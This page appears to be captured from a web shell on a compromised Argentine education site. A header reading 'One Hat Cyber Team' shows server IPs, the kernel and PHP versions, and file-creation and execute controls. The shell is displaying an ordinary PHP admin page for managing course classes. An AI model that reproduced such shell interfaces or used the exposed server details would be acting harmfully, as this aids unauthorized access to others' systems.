One Hat Cyber Team
Your IP :
104.23.197.102
Server IP :
104.21.51.23
Server :
Linux 128-201-239-36.cprapid.com 3.10.0-1160.41.1.el7.x86_64 #1 SMP Tue Aug 31 14:52:47 UTC 2021 x86_64
Server Software :
Apache
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
juscatamarca
/
www
/
campusjxj
/
public
/
admin
/
View File Name :
classes.php
<?php declare(strict_types=1); require_once dirname(__DIR__, 2) . '/config/app.php'; require_once ROOT_PATH . '/helpers/functions.php'; require_once ROOT_PATH . '/helpers/auth.php'; require_once ROOT_PATH . '/helpers/admin_classes.php'; require_role('admin'); $pageTitle = 'Clases'; $navbarTitle = 'Gestión de clases'; $currentPage = 'classes'; $validStatuses = ['draft', 'published', 'hidden']; $errors = []; $formData = [ 'id' => 0, 'course_id' => '', 'title' => '', 'description' => '', 'class_order' => '1', 'scheduled_at' => '', 'class_view_url' => '', 'status' => 'draft', ]; $flashSuccess = get_flash('success'); $flashError = get_flash('error'); $editId = (int) ($_GET['edit'] ?? 0); if ($editId > 0 && $_SERVER['REQUEST_METHOD'] !== 'POST') { $editingClass = get_admin_class_by_id($editId); if ($editingClass !== null) { $formData = [ 'id' => (string) ($editingClass['id'] ?? 0), 'course_id' => (string) ($editingClass['course_id'] ?? ''), 'title' => (string) ($editingClass['title'] ?? ''), 'description' => (string) ($editingClass['description'] ?? ''), 'class_order' => (string) ($editingClass['class_order'] ?? '1'), 'scheduled_at' => format_datetime_local($editingClass['scheduled_at'] ?? null), 'class_view_url' => (string) ($editingClass['class_view_url'] ?? ''), 'status' => (string) ($editingClass['status'] ?? 'draft'), ]; } else { set_flash('error', 'La clase que intentas editar no existe.'); redirect('admin/classes.php'); } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = (string) ($_POST['action'] ?? 'create'); $classId = (int) ($_POST['id'] ?? 0); if ($action === 'delete') { if ($classId <= 0) { set_flash('error', 'La clase seleccionada no existe.'); redirect('admin/classes.php'); } try { delete_admin_class($classId); set_flash('success', 'Clase eliminada correctamente.'); redirect('admin/classes.php'); } catch (Throwable $e) { set_flash('error', 'No se pudo eliminar la clase.'); redirect('admin/classes.php'); } } $formData = [ 'id' => (string) $classId, 'course_id' => trim((string) ($_POST['course_id'] ?? '')), 'title' => trim((string) ($_POST['title'] ?? '')), 'description' => trim((string) ($_POST['description'] ?? '')), 'class_order' => trim((string) ($_POST['class_order'] ?? '1')), 'scheduled_at' => trim((string) ($_POST['scheduled_at'] ?? '')), 'class_view_url' => trim((string) ($_POST['class_view_url'] ?? '')), 'status' => trim((string) ($_POST['status'] ?? 'draft')), ]; $courseId = (int) $formData['course_id']; $classOrder = (int) $formData['class_order']; $status = $formData['status']; $title = $formData['title']; $classViewUrl = $formData['class_view_url']; $scheduledAt = parse_datetime_local($formData['scheduled_at']); if ($courseId <= 0 || !admin_course_exists($courseId)) { $errors[] = 'Debes seleccionar un curso válido.'; } if ($title === '') { $errors[] = 'El título de la clase es obligatorio.'; } if ($classOrder <= 0) { $errors[] = 'El orden de la clase debe ser un número positivo.'; } if (!in_array($status, $validStatuses, true)) { $errors[] = 'El estado de la clase no es válido.'; } if ($formData['scheduled_at'] !== '' && $scheduledAt === '') { $errors[] = 'La fecha/hora programada no tiene un formato válido.'; } if ($classViewUrl !== '' && !filter_var($classViewUrl, FILTER_VALIDATE_URL)) { $errors[] = 'La URL de grabación no tiene un formato válido.'; } if (empty($errors)) { $payload = [ 'course_id' => $courseId, 'title' => $title, 'description' => $formData['description'], 'class_order' => $classOrder, 'scheduled_at' => $scheduledAt, 'class_view_url' => $classViewUrl, 'status' => $status, ]; try { if ($action === 'update' && $classId > 0) { update_admin_class($classId, $payload); set_flash('success', 'Clase actualizada correctamente.'); redirect('admin/classes.php'); } create_admin_class($payload); set_flash('success', 'Clase creada correctamente. Puedes agregar la grabación más adelante.'); redirect('admin/classes.php'); } catch (Throwable $e) { $errors[] = 'No se pudo guardar la clase. Verifica que el orden no esté repetido en el mismo curso.'; } } } $search = trim((string) ($_GET['q'] ?? '')); $statusFilter = trim((string) ($_GET['status'] ?? 'all')); $statusParam = in_array($statusFilter, $validStatuses, true) ? $statusFilter : null; $classRows = []; $listError = null; try { $classRows = get_admin_classes($search !== '' ? $search : null, $statusParam); } catch (Throwable $e) { $listError = 'No se pudo cargar el listado de clases.'; } $courseOptions = []; try { $courseOptions = get_course_options(); } catch (Throwable $e) { $errors[] = 'No se pudieron cargar los cursos para el formulario.'; } $isEditMode = (int) $formData['id'] > 0; include ROOT_PATH . '/includes/layout/header.php'; ?> <?php include ROOT_PATH . '/includes/layout/sidebar_admin.php'; ?> <div class="main-panel"> <?php include ROOT_PATH . '/includes/layout/navbar.php'; ?> <main class="content-area"> <section class="hero-panel mb-4"> <div> <p class="hero-tag mb-2">Administración Académica</p> <h2 class="h3 fw-bold mb-2">Gestión de Clases</h2> <p class="mb-0 text-muted">Publica clases aunque la grabación aún no esté cargada. Puedes completarla más tarde.</p> </div> </section> <?php if ($flashSuccess): ?> <div class="alert alert-success" role="alert"><?= e($flashSuccess) ?></div> <?php endif; ?> <?php if ($flashError): ?> <div class="alert alert-danger" role="alert"><?= e($flashError) ?></div> <?php endif; ?> <?php if (!empty($errors)): ?> <div class="alert alert-danger" role="alert"> <strong>Revisa el formulario:</strong> <ul class="mb-0 mt-2"> <?php foreach ($errors as $error): ?> <li><?= e($error) ?></li> <?php endforeach; ?> </ul> </div> <?php endif; ?> <div class="card card-campus mb-4"> <div class="card-header-campus"> <h3 class="h6 mb-0"><?= $isEditMode ? 'Editar clase' : 'Nueva clase' ?></h3> <?php if ($isEditMode): ?> <a href="<?= e(base_url('admin/classes.php')) ?>" class="btn btn-sm btn-outline-success">Cancelar edición</a> <?php endif; ?> </div> <div class="card-body"> <div class="alert alert-info mb-3" role="note"> <i class="fa-solid fa-circle-info me-1"></i> La URL de la grabación es opcional. Puedes crear y publicar la clase sin video, y cargarlo después. </div> <form class="row g-3" method="post" novalidate> <input type="hidden" name="action" value="<?= $isEditMode ? 'update' : 'create' ?>"> <input type="hidden" name="id" value="<?= e((string) $formData['id']) ?>"> <div class="col-md-6"> <label class="form-label">Curso</label> <select class="form-select" name="course_id" required> <option value="">Seleccionar curso</option> <?php foreach ($courseOptions as $course): ?> <option value="<?= e((string) $course['id']) ?>" <?= (string) $formData['course_id'] === (string) $course['id'] ? 'selected' : '' ?>> <?= e((string) $course['title']) ?><?= ($course['geographic_department_name'] ?? '') !== '' ? ' — ' . e((string) $course['geographic_department_name']) : '' ?> </option> <?php endforeach; ?> </select> </div> <div class="col-md-6"> <label class="form-label">Título de la clase</label> <input type="text" class="form-control" name="title" placeholder="Clase 1 - Introducción" maxlength="180" value="<?= e($formData['title']) ?>" required> </div> <div class="col-12"> <label class="form-label">Descripción</label> <textarea class="form-control" rows="3" name="description" placeholder="Describe el contenido pedagógico de la clase"><?= e($formData['description']) ?></textarea> </div> <div class="col-md-4"> <label class="form-label">Orden de clase</label> <input type="number" min="1" class="form-control" name="class_order" value="<?= e($formData['class_order']) ?>" required> </div> <div class="col-md-4"> <label class="form-label">Fecha programada (opcional)</label> <input type="datetime-local" class="form-control" name="scheduled_at" value="<?= e($formData['scheduled_at']) ?>"> </div> <div class="col-md-4"> <label class="form-label">Estado</label> <select class="form-select" name="status" required> <option value="draft" <?= $formData['status'] === 'draft' ? 'selected' : '' ?>>Borrador</option> <option value="published" <?= $formData['status'] === 'published' ? 'selected' : '' ?>>Publicado</option> <option value="hidden" <?= $formData['status'] === 'hidden' ? 'selected' : '' ?>>Oculto</option> </select> </div> <div class="col-12"> <label class="form-label">URL de la grabación (opcional)</label> <input type="url" class="form-control" name="class_view_url" value="<?= e($formData['class_view_url']) ?>" placeholder="https://..."> <small class="text-muted d-block mt-1"> Si está vacío, la clase queda con grabación pendiente y el alumno igual podrá ver materiales y examen. </small> <small class="text-muted d-block mt-1"> Ejemplos válidos: YouTube (https://www.youtube.com/watch?v=abc123 o https://youtu.be/abc123) y Webex (enlace de grabación compartido). </small> </div> <div class="col-12 text-end"> <button type="submit" class="btn btn-campus"> <i class="fa-solid fa-floppy-disk me-1"></i><?= $isEditMode ? 'Actualizar clase' : 'Crear clase' ?> </button> </div> </form> </div> </div> <div class="card card-campus"> <div class="card-header-campus"> <h3 class="h6 mb-0">Listado de clases</h3> </div> <div class="card-body border-bottom"> <form method="get" class="row g-2 align-items-end"> <div class="col-12 col-md-6"> <label class="form-label mb-1">Buscar</label> <input type="text" class="form-control" name="q" value="<?= e($search) ?>" placeholder="Título de clase, curso o departamento"> </div> <div class="col-12 col-md-3"> <label class="form-label mb-1">Estado</label> <select class="form-select" name="status"> <option value="all" <?= $statusFilter === 'all' ? 'selected' : '' ?>>Todos</option> <option value="draft" <?= $statusFilter === 'draft' ? 'selected' : '' ?>>Borrador</option> <option value="published" <?= $statusFilter === 'published' ? 'selected' : '' ?>>Publicado</option> <option value="hidden" <?= $statusFilter === 'hidden' ? 'selected' : '' ?>>Oculto</option> </select> </div> <div class="col-12 col-md-3 d-flex gap-2"> <button type="submit" class="btn btn-campus flex-grow-1">Filtrar</button> <a href="<?= e(base_url('admin/classes.php')) ?>" class="btn btn-outline-success">Limpiar</a> </div> </form> </div> <?php if ($listError !== null): ?> <div class="card-body"> <div class="alert alert-danger mb-0" role="alert"><?= e($listError) ?></div> </div> <?php elseif (empty($classRows)): ?> <div class="card-body text-center py-5"> <i class="fa-solid fa-inbox mb-3" style="font-size: 2rem; color: var(--campus-gray-500); opacity: 0.5"></i> <p class="mb-0 text-muted">No hay clases cargadas para los filtros seleccionados.</p> </div> <?php else: ?> <div class="table-responsive"> <table class="table align-middle mb-0"> <thead> <tr> <th>Clase</th> <th>Curso</th> <th>Departamento Catamarca</th> <th>Orden</th> <th>Fecha</th> <th>Estado</th> <th>Grabación</th> <th class="text-end">Acciones</th> </tr> </thead> <tbody> <?php foreach ($classRows as $class): ?> <?php $statusBadge = admin_class_status_badge((string) ($class['status'] ?? '')); $hasRecording = (string) ($class['class_view_url'] ?? '') !== ''; $scheduledAt = (string) ($class['scheduled_at'] ?? ''); ?> <tr> <td><?= e($class['title']) ?></td> <td><?= e($class['course_title']) ?></td> <td><?= e((string) ($class['geographic_department_name'] ?? 'Sin definir')) ?></td> <td>#<?= e((string) $class['class_order']) ?></td> <td><?= $scheduledAt !== '' ? e(date('d/m/Y H:i', (int) strtotime($scheduledAt))) : '<span class="text-muted">Sin fecha</span>' ?></td> <td> <span class="badge <?= e($statusBadge['class']) ?>"><?= e($statusBadge['label']) ?></span> </td> <td> <?php if ($hasRecording): ?> <span class="badge text-bg-success">Grabación disponible</span> <?php else: ?> <span class="badge text-bg-warning text-dark">Grabación pendiente</span> <?php endif; ?> </td> <td class="text-end"> <a href="<?= e(base_url('admin/classes.php?edit=' . (int) $class['id'])) ?>" class="btn btn-sm btn-outline-success"> <i class="fa-solid fa-pen-to-square me-1"></i>Editar </a> <form method="post" style="display: inline;" onsubmit="return confirm('¿Estás seguro de que deseas eliminar esta clase? Esta acción no se puede deshacer.');"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="id" value="<?= (int) $class['id'] ?>"> <button type="submit" class="btn btn-sm btn-outline-danger"> <i class="fa-solid fa-trash me-1"></i>Eliminar </button> </form> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?php endif; ?> </div> </main> </div> <?php include ROOT_PATH . '/includes/layout/footer.php'; ?>